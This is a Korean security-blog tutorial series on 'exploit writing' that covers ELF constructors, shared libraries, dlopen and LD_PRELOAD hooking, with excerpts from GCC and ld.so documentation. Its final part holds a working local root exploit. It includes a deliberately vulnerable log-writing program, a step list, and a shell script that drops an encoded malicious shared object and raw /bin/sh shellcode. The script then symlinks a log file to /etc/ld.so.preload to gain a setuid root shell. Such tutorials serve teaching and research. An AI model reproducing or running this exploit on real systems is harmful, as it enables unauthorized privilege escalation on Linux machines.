TEAMCR@K

$ git clone http://github.com/nam3z1p/HUA2T_TeamCrak.git

개요)

1. 환경구성

2. 기능소개

3. 사용방법

$ git clone http://github.com/TeamCRAK/ExploitWritingTechnique.git

Exploit Writing Technique #1: Constructor, What's that?

Exploit Writing Technique #2: Basics of Shared Library

Exploit Writing Technique #3: Preloaded Shared Libraries

Exploit Writing Technique #4: Applied Exploits

18.20.5 How Initialization Functions Are Handled

The compiled code for certain languages includes constructors (also called initialization routines)—functions to initialize data in the program when the program is started. These functions need to be called before the program is “started”—that is to say, before main is called.

...

The best way to handle static constructors works only for object file formats which provide arbitrarily-named sections. A section is set aside for a list of constructors, and another for a list of destructors. Traditionally these are called ‘.ctors’ and ‘.dtors’. Each object file that defines an initialization function also puts a word in the constructor section to point to that function. The linker accumulates all these words into one contiguous ‘.ctors’ section. Termination functions are handled similarly.

/*

* cpp_example.cpp

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example code for constructor & destructor

*/

#include <iostream>

using namespace std;

class CTeamCRAK {

public:

        CTeamCRAK()

        {

                cout << "I'm Constructor!" << endl;

        }

        ~CTeamCRAK()

        {

                cout << "I'm Destructor!" << endl;

        }

};

int main(void)

{

        CTeamCRAK TeamCRAK;

        cout << "Executed from main() function!" << endl;

        return 0;

}

  1 /* Initializer module for building the ELF shared C library.  This file and

  2    sofini.c do the work normally done by crtbeginS.o and crtendS.o, to wrap

  3    the `.ctors' and `.dtors' sections so the lists are terminated, and

  4    calling those lists of functions.  */

  5

  6 #ifndef NO_CTORS_DTORS_SECTIONS

  7 # include <stdlib.h>

  8

  9 static void (*const __CTOR_LIST__[1]) (void)

 10   __attribute__ ((used, section (".ctors")))

 11   = { (void (*) (void)) -1 };

 12 static void (*const __DTOR_LIST__[1]) (void)

 13   __attribute__ ((used, section (".dtors")))

 14   = { (void (*) (void)) -1 };

 15

 16 static inline void

 17 run_hooks (void (*const list[]) (void))

 18 {

 19   while (*++list)

 20     (**list) ();

 21 }

 22

 23 /* This function will be called from _init in init-first.c.  */

 24 void

 25 __libc_global_ctors (void)

 26 {

 27   /* Call constructor functions.  */

 28   run_hooks (__CTOR_LIST__);

 29 }

 30

 31

 32 /* This function becomes the DT_FINI termination function

 33    for the C library.  */

 34 void

 35 __libc_fini (void)

 36 {

 37   /* Call destructor functions.  */

 38   run_hooks (__DTOR_LIST__);

 39 }

 40

 41 void (*_fini_ptr) (void) __attribute__ ((section (".fini_array")))

 42      = &__libc_fini;

 43 #endif

__DTOR_LIST__[0] : 0xFFFFFFFF

__DTOR_LIST__[1] : ${SHELLCODE_ADDRESS}

...

6.31 Declaring Attributes of Functions

...

Function attributes are introduced by the __attribute__ keyword on a declaration, followed by an attribute specification inside double parentheses. You can specify multiple attributes in a declaration by separating them by commas within the double parentheses or by immediately following an attribute declaration with another attribute declaration. See Attribute Syntax, for the exact rules on attribute syntax and placement.

...

6.37 Attribute Syntax

This section describes the syntax with which __attribute__ may be used, and the constructs to which attribute specifiers bind, for the C language. Some details may vary for C++ and Objective-C. Because of infelicities in the grammar for attributes, some forms described here may not be successfully parsed in all cases.

...

An attribute specifier is of the form __attribute__ ((attribute-list)).

...

6.31.1 Common Function Attributes

...

constructor

destructor

constructor (priority)

destructor (priority)

The constructor attribute causes the function to be called automatically before execution enters main (). Similarly, the destructor attribute causes the function to be called automatically after main () completes or exit () is called. Functions with these attributes are useful for initializing data that is used implicitly during the execution of the program.

...

/*

* gcc_syntax_ctors_dtors.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example c code for constructor & destructor by gcc

*/

#include <stdio.h>

__attribute__((constructor))

void ctors(void)

{

        fprintf(stdout, "I'm Constructor!\n");

        return;

}

__attribute__((destructor))

void dtors(void)

{

        fprintf(stdout, "I'm Destructor!\n");

        return;

}

int main(void)

{

        fprintf(stdout, "Executed from main() function!\n");

        return 0;

}

Exploit Writing Technique #1: Constructor, What's that?

Exploit Writing Technique #2: Basics of Shared Library

Exploit Writing Technique #3: Preloaded Shared Libraries

Exploit Writing Technique #4: Applied Exploits

/*

* libso_exam.so.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example c code for shared library

*/

#include <stdio.h>

#include <unistd.h>

#include <string.h>

int teamcrak(const char *msg)

{

        fprintf(stdout, "%s", msg);

        return 0;

}

$ gcc \

    -Wall \                                  # 모든 경고 출력 옵션

    -shared \                              # 공유 라이브러리로 컴파일 하겠다는 옵션

    -Wl,-soname,libso_exam.so \ # 링크 옵션으로 soname(Shared Object NAME)을 지정하는 옵션

    -o libso_exam.so \                 # output 옵션. 컴파일 결과 파일: libso_exam.so

    libso_exam.so.c                     # 컴파일 할 소스코드

/*

* so_loader.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example c code for shared library loader

*/

#include <stdio.h>

#include <stdlib.h>

int main(void)

{

        teamcrak("Call by shared library\n");

        return 0;

}

$ gcc \

    -Wall \                # 모든 경고 출력 옵션

    -o so_loader \     # output 옵션. 컴파일 결과 파일: so_loader

    so_loader.c \       # 컴파일 할 소스코드

    -L. \                    # 라이브러리 링크 경로 지정 옵션. 라이브러리 경로: . (현재 디렉터리)

    -lso_exam           # 링크 할 라이브러리 지정 옵션. 라이브러리 이름: libso_exam.so

/*

* so_loader_by_dlopen.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example c code for dlopen()

*/

#include <stdio.h>

#include <unistd.h>

#include <dlfcn.h>

int main(int argc, char **argv)

{

        int ret;

        void *dl = NULL;

        // XXX: Function prototype of teamcrak() in a shared object

        int (*func)(const char *msg) = NULL;

        if(argc != 4) {

                fprintf(stdout, "Usage: %s <SO-PATH> <FUNCTION-NAME> <MESSAGE>\n", argv[0]);

                return 0;

        }

        // XXX: Load a library

        if((dl = dlopen(argv[1], RTLD_LAZY)) == NULL) {

                fprintf(stderr,

                        "[%s] Can not load library: %s\n", __FILE__, argv[1]);

                goto failed;

        }

        // XXX: Map the function by loaded library

        if((func = (int (*)(const char *))dlsym(dl, argv[2])) == NULL) {

                fprintf(stderr,

                        "[%s] No such %s() function from the library.\n",

                        __FILE__, argv[2]);

                goto failed;

        }

        // XXX: Function-call using function pointer

        ret = func(argv[3]);

failed:

        if(dl != NULL)

                dlclose(dl); // XXX: Resource free

        return 0;

}

/*

* loader.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - Compile & Execute

*  <+> Linux  : gcc -Wall -o loader loader.c -ldl && LD_LIBRARY_PATH=. ./loader

*  <+> Windows: cl loader.c /D"WIN32" && loader.exe

*/

#include <stdio.h>

#ifdef WIN32

#  include <windows.h>

#  define EXT   "dll"

# else

#  define EXT   "so"

#  include <unistd.h>

#  include <dlfcn.h>

#  define LoadLibrary(soname) dlopen(soname, RTLD_LAZY)

#  define GetProcAddress dlsym

#  define FreeLibrary dlclose

#endif

#define SONAME  "teamcrak." EXT

#define FUNCNAME "library_call"

int main(void)

{

        int ret;

        void *dl = NULL;

        int (*func)(void) = NULL;

        if((dl = LoadLibrary(SONAME)) == NULL) {

                fprintf(stderr,

                        "[%s] Can not load library: %s\n", __FILE__, SONAME);

                goto failed;

        }

        fprintf(stdout, "[%s] Loaded a library successfully: %s\n",

                __FILE__, SONAME);

        if((func = (int (*)(void))GetProcAddress(dl, FUNCNAME)) == NULL) {

                fprintf(stderr,

                        "[%s] Not found %s() function from the library.\n",

                        __FILE__, FUNCNAME);

                goto failed;

        }

        fprintf(stdout,

                "[%s] Loaded %s() function from '%s'\n"

                "[%s] %s() address: %p\n" ,

                __FILE__, FUNCNAME, SONAME, __FILE__, FUNCNAME, func);

        fprintf(stdout, "[%s] - FUNCTION CALL START\n", __FILE__);

        ret = func();

        fprintf(stdout, "[%s] - FUNCTION CALL END\n", __FILE__);

        fprintf(stdout, "[%s] Return value: %d\n", __FILE__, ret);

failed:

        if(dl != NULL)

                FreeLibrary(dl);

        return 0;

}

/*

* teamcrak.so.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - Compile

*  <+> Linux  : gcc -Wall -shared -Wl,-soname,teamcrak.so -fPIC -o teamcrak.so teamcrak.so.c

*  <+> Windows: cl teamcrak.so.c /D"WIN32" /TC /link /dll /out:teamcrak.dll

*/

#include <stdio.h>

#include <string.h>

#ifdef WIN32

#  include <io.h>

#  define write _write

#  define TeamCRAK __declspec(dllexport)

#  define COMMENT "Dynamic Link Library"

# else

#  include <unistd.h>

#  define TeamCRAK

#  define COMMENT "Shared Object"

#endif

TeamCRAK int library_call(void)

{

        char *msg = "[*] Welcome to " COMMENT "'s world!\n";

        write(1, msg, strlen(msg));

        return 1337;

}

Exploit Writing Technique #1: Constructor, What's that?

Exploit Writing Technique #2: Basics of Shared Library

Exploit Writing Technique #3: Preloaded Shared Libraries

Exploit Writing Technique #4: Applied Exploits

Secure Programming for Linux and Unix HOWTO - 3.7. 동적 링크 라이브러리

https://wiki.kldp.org/HOWTO/html/Secure-Programs-HOWTO/dlls.html

LD.SO(8)                   Linux Programmer’s Manual                  LD.SO(8)

NAME

       ld.so, ld-linux.so* - dynamic linker/loader

DESCRIPTION

       The  programs ld.so and ld-linux.so* find and load the shared libraries

       needed by a program, prepare the program to run, and then run it.

>> snip <<

ENVIRONMENT

       There are four important environment variables.

/*

* libsetuid.so.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example code for wrapped function of setuid()

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <dlfcn.h>

static int (*orig_setuid)(uid_t uid);

int setuid(uid_t uid)

{

        int ret = 0;

        void *dl = NULL;

        char exe[1024] = {0,};

        readlink("/proc/self/exe", exe, sizeof(exe));

        fprintf(stdout, "[DEBUG] Hooked setuid(%d) by '%s'\n", uid, exe);

        if((dl = dlopen("/lib/libc.so.6", RTLD_LAZY)) != NULL) {

                if((orig_setuid = dlsym(dl, "setuid")) != NULL) {

                        ret = orig_setuid(uid);

                }

                dlclose(dl);

        }

        return ret;

}

/*

* libmypriv.so.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example code for constructor of shared library

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <dlfcn.h>

int __attribute__((constructor)) init(void)

{

        fprintf(stdout, "[DEBUG] UID: %d / GID: %d / EUID: %d / EGID: %d\n",

                getuid(), getgid(), geteuid(), getegid());

        return 0;

}

Exploit Writing Technique #1: Constructor, What's that?

Exploit Writing Technique #2: Basics of Shared Library

Exploit Writing Technique #3: Preloaded Shared Libraries

Exploit Writing Technique #4: Applied Exploits

https://github.com/TeamCRAK/Exploits/tree/master/RedStar%202.0 

/*

* vuln.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example code for insecure file creation vulnerability

*/

#include <stdio.h>

#include <dirent.h>

int main(int argc, char **argv)

{

        FILE *fp = NULL;

        char logfile[1024];

        snprintf(logfile, sizeof(logfile), "logs/%s.log", argv[0]);

        if((fp = fopen(logfile, "a+")) != NULL) {

                fputs("Write log contents!\n", fp);

                fclose(fp);

        }

        return 0;

}

1. 쉘 실행 바이너리 생성 (/tmp/.teamcrak-root)

2. /tmp/.teamcrak-root 파일을 root 권한으로 변경하고 setuid 퍼미션을 세팅할 악의적인 공유라이브러리를 Constructor 속성을 가지도록 생성 (/tmp/evil.so)

3. 로그파일을 /etc/ld.so.preload 파일로 symbolic link 생성

4. vuln 실행

5. /etc/ld.so.preload 파일 생성 확인

6. /etc/ld.so.preload 파일에 /tmp/evil.so 문자열 Overwrite

7. root 권한의 setuid 파일 실행

8. /tmp/.teamcrak-root 파일에 root 권한의 setuid bit 설정 유무 확인

9. /tmp/.teamcrak-root 파일 실행 (root 권한 획득)

#!/bin/sh

TARGET="/etc/ld.so.preload"

EVIL_BIN="/tmp/evil.so"

ROOTSHELL="/tmp/.teamcrak-root"

WORKDIR="/home/indra/Project/ld.so.preload/stage3"

VICTIM="vuln"

LOGFILE="${WORKDIR}/logs/TeamCRAK.log"

echo "###########################################################################"

echo "#####          Local root exploit for vulnerability example           #####"

echo "#####                                      - Insecure file creation - #####"

echo "#####                                                                 #####"

echo "#####                                                     2018.02.03  #####"

echo "#####                            Exploited by TeamCR@K in A3Security  #####"

echo "#####                                                                 #####"

echo "###########################################################################"

rm -rf ${EVIL_BIN}*

# ##################### 32BIT shared object binary

# #define ROOT "teamcrak-root\

# const char *rs = "/tmp/." ROOT;

# void __attribute__((constructor)) init(void) {

# setgid(0); setuid(0); chown(rs, 0, 0); chmod(rs, 06777); }

echo -ne "\x42\x5A\x68\x39\x31\x41\x59\x26\x53\x59\x96\xAD\xA2\x87\x00\x01\

\x67\x7F\xEF\xFF\xFF\xFE\x96\xC2\x6B\xE4\x08\x57\x44\x48\x48\xBF\

\xEF\xFE\x64\xC0\xA2\x14\x00\x41\x68\x0C\x62\x72\x68\x28\x4C\x23\

\x01\xB0\x01\x95\x81\x68\x34\x41\x53\x6C\xA8\xD0\x07\xA8\x00\x7A\

\x8D\x0F\x50\x7A\x9A\x00\xD0\x00\x06\x8D\x1E\xA0\x34\x07\xA4\xF4\

\x98\x9E\xA3\xD4\x22\x98\x99\x27\xA9\x3D\x34\x9B\x46\x80\x23\x4C\

\x4C\x8C\x09\xE8\x11\x80\x8C\x01\xA8\xD3\x26\x99\x0D\x0C\x9A\x0D\

\x31\x02\x44\xA2\x99\x94\x68\x1A\x26\x68\x00\x13\x13\x4C\x09\x93\

\x4C\x01\x0C\x4F\x51\x88\x62\x64\xC2\x69\xA6\x4D\x32\x60\xA6\x55\

\x04\x4A\x06\x10\xD2\x11\x05\x70\x50\x51\x8F\x20\xC5\x7E\x98\x51\

\x6A\x51\x73\x8C\xD1\x79\x8A\x8B\x75\x8E\x80\x30\xC8\x14\x5E\x19\

\x16\x30\x00\xD0\xB4\xA2\x14\x52\x81\x8B\x51\x07\xA6\x5F\x9E\x03\

\xF4\xF2\xB0\x5C\x7C\xEE\x5C\x40\x9C\xEB\x71\x56\xAC\x90\xFB\xCE\

\x64\x31\xD4\xE5\xB6\xD4\xA9\x89\x69\x7F\x52\xE6\x85\xED\x74\xE4\

\x4F\x34\x96\xB4\x85\x4E\xBE\x02\x18\x91\x3B\x06\xD2\x6D\x26\xD2\

\x4D\xA6\xD2\x6C\x26\x82\x0A\x11\x03\x60\xDD\x63\x64\x46\xDC\x91\

\x23\x21\xB7\x0D\x37\x62\xC5\x41\xA1\x0F\x22\x00\x2E\x98\x05\xFB\

\x3D\x6C\x57\x0D\x0A\xD1\x85\x1D\x58\x58\xF5\x76\xFD\xFB\x15\x77\

\x68\x80\x6D\x4C\x79\x56\xCA\x24\x5B\xA6\x6B\x60\x2B\x69\x0D\x16\

\x8A\x2C\xFB\x9A\x3A\xA3\x26\x86\x60\x4A\x38\x9B\x5E\x8E\xD3\x0B\

\xE6\x4E\xD0\xAB\x1D\xC3\x41\x5E\xCA\x89\xA1\x7A\x5A\x03\x29\xAB\

\x1C\x88\xF0\xE3\x80\xC4\x4E\x9D\x36\x99\x84\xA4\x95\x85\x27\x42\

\x7E\xFA\x72\x8A\xC1\xA3\xE8\xCD\xE6\x1F\x57\xA5\x2F\xC2\x4A\xDE\

\x0A\xE9\x0A\xB5\x7D\x92\x52\x76\x51\x09\x98\xF0\xE9\xA2\x92\x1C\

\x86\xC3\x85\x9B\x49\xEB\x32\x9F\x9A\x34\x05\x21\x02\x67\xC1\xA2\

\xC8\x74\xC7\x36\xCB\x1A\x90\x1A\x26\x59\x9A\x3D\xD4\xD0\x42\x39\

\x59\x70\x01\xF2\x8D\x03\x8C\x08\x98\xC3\xC0\xEF\xDA\x24\xB9\x13\

\xFA\x45\x80\x6B\x91\x25\x0A\x76\x64\x30\x53\x6C\xD9\x61\x1F\xC5\

\x56\x6C\x36\xB6\xF4\xE7\x5B\x28\x36\xF1\x17\xC0\x53\x79\x85\x10\

\x06\x22\xFA\x8E\xB0\x50\xE7\x32\x11\x58\x75\x24\x5E\x95\xC5\x6D\

\x2A\x95\x24\xCE\x70\xA3\x8F\x0A\xAC\x75\x56\x17\xA8\x81\xEA\x91\

\x25\x7B\x16\x9F\x9D\x16\xA4\x3F\x68\x89\x0F\x58\x4A\x72\xCB\xFE\

\x2E\xE4\x8A\x70\xA1\x21\x2D\x5B\x45\x0E" > ${EVIL_BIN}.bz2

bzip2 -d ${EVIL_BIN}.bz2

echo -ne "\x7F\x45\x4C\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\

\x02\x00\x03\x00\x01\x00\x00\x00\x54\x80\x04\x08\x34\x00\x00\x00\

\x94\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x28\x00\

\x03\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\

\x00\x80\x04\x08\x81\x00\x00\x00\x81\x00\x00\x00\x05\x00\x00\x00\

\x00\x10\x00\x00\x31\xDB\x89\xD8\xB0\x2E\xCD\x80\x31\xDB\x89\xD8\

\xB0\x17\xCD\x80\xEB\x0D\x5B\x31\xD2\x89\xD0\x52\x53\x89\xE1\xB0\

\x0B\xCD\x80\xE8\xEE\xFF\xFF\xFF\x2F\x62\x69\x6E\x2F\x73\x68" > ${ROOTSHELL}

if [ -f ${ROOTSHELL} ]; then

        if [ -f ${EVIL_BIN} ]; then

                echo "[*] Preparing environment: OK!"

        else

                echo "[!] No such ${EVIL_BIN}"

                break;

        fi

else

        echo "[!] No such ${ROOTSHELL}"

        break;

fi

# Creation a symbolic link

rm -rf ${LOGFILE}; ln -sf ${TARGET} ${LOGFILE}

rm -rf TeamCRAK; ln -sf ${WORKDIR}/${VICTIM} TeamCRAK

# setup umask

umask 0000

./TeamCRAK 2>/dev/null &

if [ -f ${TARGET} ]; then

        echo "${EVIL_BIN}" > ${TARGET} 2>/dev/null

        break;

fi

ping 2>/dev/null 1>/dev/null

if [ -u "${ROOTSHELL}" ]; then

        echo "[*] Exploit Successfully!~"

        echo "[*] Voila~ r00t sh3LL!"

        echo "" > ${TARGET}

        ${ROOTSHELL}

else

        echo "[*] Exploit failed."

fi

1. Linux ELF Binary Hack #1 (언어론적 고찰)

2. Linux ELF Binary Hack #2 (구조론적 고찰)